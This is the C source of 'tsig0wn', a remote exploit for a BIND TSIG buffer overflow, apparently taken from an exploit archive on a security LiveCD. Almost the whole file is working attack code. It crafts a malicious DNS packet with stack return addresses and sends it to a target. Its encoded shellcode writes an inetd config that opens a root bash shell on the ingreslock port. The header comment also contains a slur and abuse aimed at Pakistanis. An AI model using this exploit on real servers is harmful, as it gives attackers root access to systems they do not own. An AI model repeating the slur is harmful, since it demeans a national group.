home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / bugtraq.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  297 lines

  1. /*
  2.  * tsig0wn.c
  3.  * Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau
  4.  * gneisenau@berlin.com
  5.  * The author is not and will not be held responsible for the action of 
  6.  * other people using this code.
  7.  * provided for informational purposes only
  8.  * since a greetz section is de rigeur
  9.  * greets to my luv scharnie, sheib, darkx, famzah, brainstorm, ghQst, robbot, ......
  10.  * a special fuck to all pakis including those idiots from GForce, etc....
  11.  * but then pakistan is one big village comprising exclusively of prize idiots
  12.  * tabstop set at 3
  13.  */
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <netinet/in.h>
  17. #include <arpa/nameser.h>
  18. #include    <netdb.h>
  19. #include <errno.h>
  20. #include <unistd.h>
  21. #include <string.h>
  22. #include <stdio.h>
  23.  
  24. /*
  25.  * This shellcode sux. cant ever get around to coding another one.
  26.  */
  27. char shellcode[] = {
  28. 0xeb,0x3b,0x5e,0x31,0xc0,0x31,0xdb,0xb0,0xa0,0x89,
  29. 0x34,0x06,0x8d,0x4e,0x07,0x88,0x19,0x41,0xb0,0xa4,                        
  30. 0x89,0x0c,0x06,0x8d,0x4e,0x0a,0x88,0x19,0x41,0xb0,
  31. 0xa8,0x89,0x0c,0x06,0x31,0xd2,0xb0,0xac,0x89,0x14,
  32. 0x06,0x89,0xf3,0x89,0xf1,0xb0,0xa0,0x01,0xc1,0xb0,
  33. 0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd,
  34. 0x80,0xe8,0xc0,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,
  35. 0x2f,0x73,0x68,0xff,0x2d,0x63,0xff,        
  36. 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
  37. 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
  38. 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
  39. 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
  40. 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
  41. 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
  42. 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
  43. 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
  44. 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
  45. 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
  46. };
  47.  
  48. #define NS_T_TSIG 250
  49. #define SHELLCODE_OFFSET 13
  50. #define DUMMY_ARG_OFFSET 176
  51. #define ENUM_FILE 1                //eventlib_p.h line 141
  52.  
  53.  
  54. struct {
  55.     char                 *system_name;
  56.     unsigned int    buffer_start;            /* the address where out buffer starts in memory */
  57.     unsigned int    frame_pointer;            /* content of the frame pointer */
  58.     int                garbage_len;            /* length of the garbage in which we will embed ebp|eip */
  59. } system[] =    {
  60.                         { "Test value 1", 0xbffff640, 0xbffff868, 326, },
  61.                         { "Test value 2", 0xbffff5f0, 0xbffff700, 326, },
  62.                         { "Slackware 7.0", 0xbffff590, 0xbffff7e8, 326, },
  63.                         { NULL, 0x0, 0x0, },
  64.                     };
  65.  
  66. void usage (void);
  67. void encode_dns_name (char *, int, int);
  68.  
  69. int
  70. main (int argc, char *argv[])
  71. {
  72.     char                         query[PACKETSZ];    // construct our query packet here
  73.     char                        *query_ptr;        // pointer to walk the query buffer
  74.     HEADER                    *hdr_ptr;        // pointer to the header part of the query buffer
  75.  
  76.     int                        arg;
  77.     unsigned int            buffer_start, 
  78.                                 frame_pointer, // value the frame pointer will have
  79.                                 shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start
  80.     int                        index;
  81.  
  82.     char                        *target_name;
  83.     struct hostent            *target_host;    
  84.     struct sockaddr_in    target;        
  85.     int                        sockfd;
  86.  
  87.     if (argc < 2)
  88.         usage ();
  89.  
  90.     while ((arg = getopt (argc, argv, "b:f:s:")) != -1) {
  91.         switch (arg){
  92.             case 'b':    sscanf (optarg, "%x", &buffer_start);
  93.                             break;
  94.             case 'f':    sscanf (optarg, "%x", &frame_pointer);
  95.                             break;
  96.             case 's':    index = atoi (optarg) - 1; 
  97.                             buffer_start = system[index].buffer_start;
  98.                             frame_pointer = system[index].frame_pointer;
  99.                             break;
  100.             default :    usage ();
  101.         }
  102.     }
  103.     if (!(target_name = argv[optind])){
  104.         fprintf (stderr, "tsig0wn: abysmal m0r0n error\n");
  105.         exit (1);
  106.     }
  107.  
  108. /*
  109.  * Form a header. 
  110.  */
  111.      memset (query, 0, PACKETSZ);
  112.      // cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go.
  113.     hdr_ptr = (HEADER *)query;
  114.     hdr_ptr->id = htons (0x1234);            
  115.     hdr_ptr->qr = 0;                    
  116.     hdr_ptr->opcode = 0;                    
  117.     hdr_ptr->qdcount = htons (2);            
  118.     hdr_ptr->arcount = htons (1);    
  119.  
  120.  
  121. /*
  122.  * Form a query after the header where we put in the shellcode
  123.  */
  124.     query_ptr = (char *) (hdr_ptr + 1);
  125.     memcpy (query_ptr, shellcode, strlen (shellcode)+1);
  126.     query_ptr += strlen (shellcode) + 1;
  127.     PUTSHORT (T_A, query_ptr);
  128.     PUTSHORT (C_IN, query_ptr);
  129.  
  130. /*
  131.  * we form another header here that contains garbage with embedded stuff
  132.  * i cud have put this in the same header as the shellcode and have the
  133.  * shellcode nullify. (shrug)
  134.  */
  135.     {
  136.         char *tmp;
  137.         unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET;
  138.  
  139.         frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do
  140.  
  141.         // this will make layout a domain name for the second query, within which
  142.         // we will embed our ebp | eip
  143.         encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query));
  144.         query_ptr += system[index].garbage_len;
  145.  
  146.         shellcode_addr = buffer_start + SHELLCODE_OFFSET;
  147.         printf ("buffer starts at address = 0x%x\n", buffer_start);
  148.         printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer);
  149.         printf ("shellcode will reside at address = 0x%x\n", shellcode_addr);
  150.         printf ("dummy argument will reside at address = 0x%x\n", dummy_argument);
  151.         // put in the type member of evEvent_p. File is what we need
  152.         tmp = query + DUMMY_ARG_OFFSET;
  153.         tmp[0] = ENUM_FILE;
  154.         tmp[1] = ENUM_FILE >> 8;
  155.         tmp[2] = ENUM_FILE >> 16;
  156.         tmp[3] = ENUM_FILE >> 24;
  157.  
  158.         // embed the addresses. These will be interpreted as ebp and eip. 
  159.         // we put the address where our shellcode will be situated twice.
  160.         // we overflow the saved frame pointer of datagram_read(). when the
  161.         // function returns to __evDispatch() it calls __evDrop().
  162.         // because we have shifted the frame pointer and thus __evDispatch()
  163.         // notion of the stack we also provide two pointers as arguments to
  164.         // __evDispatch. These pointers point to the start of this query header
  165.         // name, within which __evDrop will look for evEvent_p->type. we set
  166.         // type to be of type 'file' above which causes it to break and execute 
  167.         // FREE() which in turn calls free().
  168.         tmp = query + (frame_pointer - buffer_start);    // advance the ptr to the place where we put in our ebp|eip
  169.         tmp[0] = shellcode_addr;
  170.         tmp[1] = shellcode_addr >> 8;
  171.         tmp[2] = shellcode_addr >> 16;
  172.         tmp[3] = shellcode_addr >> 24;
  173.         tmp[4] = shellcode_addr;
  174.         tmp[5] = shellcode_addr >> 8;
  175.         tmp[6] = shellcode_addr >> 16;
  176.         tmp[7] = shellcode_addr >> 24;
  177.  
  178.         tmp[8] = dummy_argument;
  179.         tmp[9] = dummy_argument >> 8;
  180.         tmp[10] = dummy_argument >> 16;
  181.         tmp[11] = dummy_argument >> 24;
  182.         tmp[12] = dummy_argument;
  183.         tmp[13] = dummy_argument >> 8;
  184.         tmp[14] = dummy_argument >> 16;
  185.         tmp[15] = dummy_argument >> 24;
  186.     }
  187.     PUTSHORT (T_A, query_ptr);
  188.     PUTSHORT (C_IN, query_ptr);
  189. /*
  190.  * Additional section containing T_SIG stuff
  191.  */
  192.      // a name with only one char
  193.     memcpy (query_ptr, "\x01m\x00", 3); 
  194.     query_ptr+=3;
  195.     PUTSHORT (NS_T_TSIG, query_ptr);
  196.     PUTSHORT (C_IN, query_ptr);
  197. // these members wont be checked at all as find_key returns NULL on testing secretkey_info. 
  198. //    PUTLONG (0, query_ptr);            
  199. //    PUTSHORT (0, query_ptr);                
  200.  
  201. /*
  202.  * Connect and deliver the payload
  203.  */
  204.     if (!(target_host = gethostbyname (target_name))){
  205.         fprintf (stderr, "host name resolution error for %s: %s\n", target_name, hstrerror (h_errno));
  206.         exit (1);
  207.     }
  208.     if ((sockfd = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
  209.         perror ("socket");
  210.         exit (1);
  211.     }
  212.     memset (&target, 0, sizeof (target));
  213.     target.sin_family = AF_INET;
  214.     target.sin_port = htons (53);
  215.     target.sin_addr.s_addr = ((struct in_addr *)target_host->h_addr_list[0])->s_addr;
  216.  
  217.     if (connect (sockfd, &target, sizeof (target)) < 0){
  218.         perror ("connect");
  219.         exit (1);
  220.     }
  221.     if (send (sockfd, query, query_ptr - query, 0) < 0){
  222.         perror ("send");
  223.         exit (1);
  224.     }
  225.     exit (0);
  226. }
  227.  
  228.  
  229. void 
  230. usage (void)
  231. {
  232.     int i;
  233.     fprintf (stderr, "                             tsig0wn\n");
  234.     fprintf (stderr, "Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau\n");
  235.     fprintf (stderr, "\nAvailable System Types\n");
  236.     for (i = 0; system[i].system_name; i++)
  237.         fprintf (stderr, "%d. %s\n", i+1, system[i].system_name);
  238.     fprintf (stderr, "\nUsage:\n");
  239.     fprintf (stderr, "tsig0wn [ -s system type ] target\nor\n");
  240.     fprintf (stderr, "tsig0wn [ -b buffer start address ] [ -f frame pointer content ] target\n");
  241.     exit (1);
  242. }
  243.  
  244. /*
  245.  * a pretty convoluted function.
  246.  * len is the number of octects to fill in (including the length octect)
  247.  * embed_pos is the position where we need to embed this |len|ebp|eip|. 
  248.  *    Hopefully when we overwrite the saved ebp on the stack
  249.  * we expect it to point here and take the eip (which in turn points to our
  250.  * shellcode) from here. The challenge here is to lay out the octets so 
  251.  * that it doesnt clash with embed_pos.
  252.  */
  253.  
  254. void
  255. encode_dns_name (char *buf, int len, int embed_pos)
  256. {
  257.     int    ctr = 0;
  258.     int    adjusted = 0;
  259.     embed_pos -= 2;        // our ebp | eip needs the length octet before it, so adjust for it now + 1 
  260.     len--;                    // for the NULL octet at the end.
  261.  
  262.     // sanity check
  263.     if (embed_pos >= len){
  264.         fprintf (stderr, "encode_dns_name: embed_pos >= len\n");
  265.         exit (1);
  266.     }
  267.     while (ctr < len)
  268.         // max 63 octets allowed + preceding 1 octet for length
  269.         if (ctr+64 <= len){     // enough space for another 63+1
  270.             if (ctr+64 <= embed_pos || adjusted){    // embed_pos not in between
  271.                 *buf++ = 63;
  272.                 memset (buf, 'g', 63); buf += 63;
  273.                 ctr+=64; 
  274.             }
  275.             else {                // need to adjust cuz embed_pos in between
  276.                 *buf++ = embed_pos-ctr-1;
  277.                 memset (buf, 'o', embed_pos-ctr-1); buf += embed_pos-ctr-1; 
  278.                 ctr+= embed_pos-ctr; 
  279.                 adjusted++;
  280.             }
  281.         }
  282.         else {
  283.             if (len - ctr <= embed_pos || adjusted){ // only remaining len - ctr
  284.                 *buf++ = len-ctr-1;
  285.                 memset (buf, 'g', len-ctr-1);
  286.                 ctr += 63; // we are quitting anyway after this. no need to update ctrs
  287.             }
  288.             else{
  289.                 *buf++ = embed_pos-len-ctr-1;
  290.                 memset (buf, 'o', embed_pos-len-ctr-1); buf += embed_pos-len-ctr-1; 
  291.                 ctr += embed_pos-len-ctr; 
  292.                 adjusted++;
  293.             }
  294.         }
  295.     *buf=0x00;     // finish with a 0 
  296. }
  297. /*                   www.hack.co.za  [1 March 2001]*/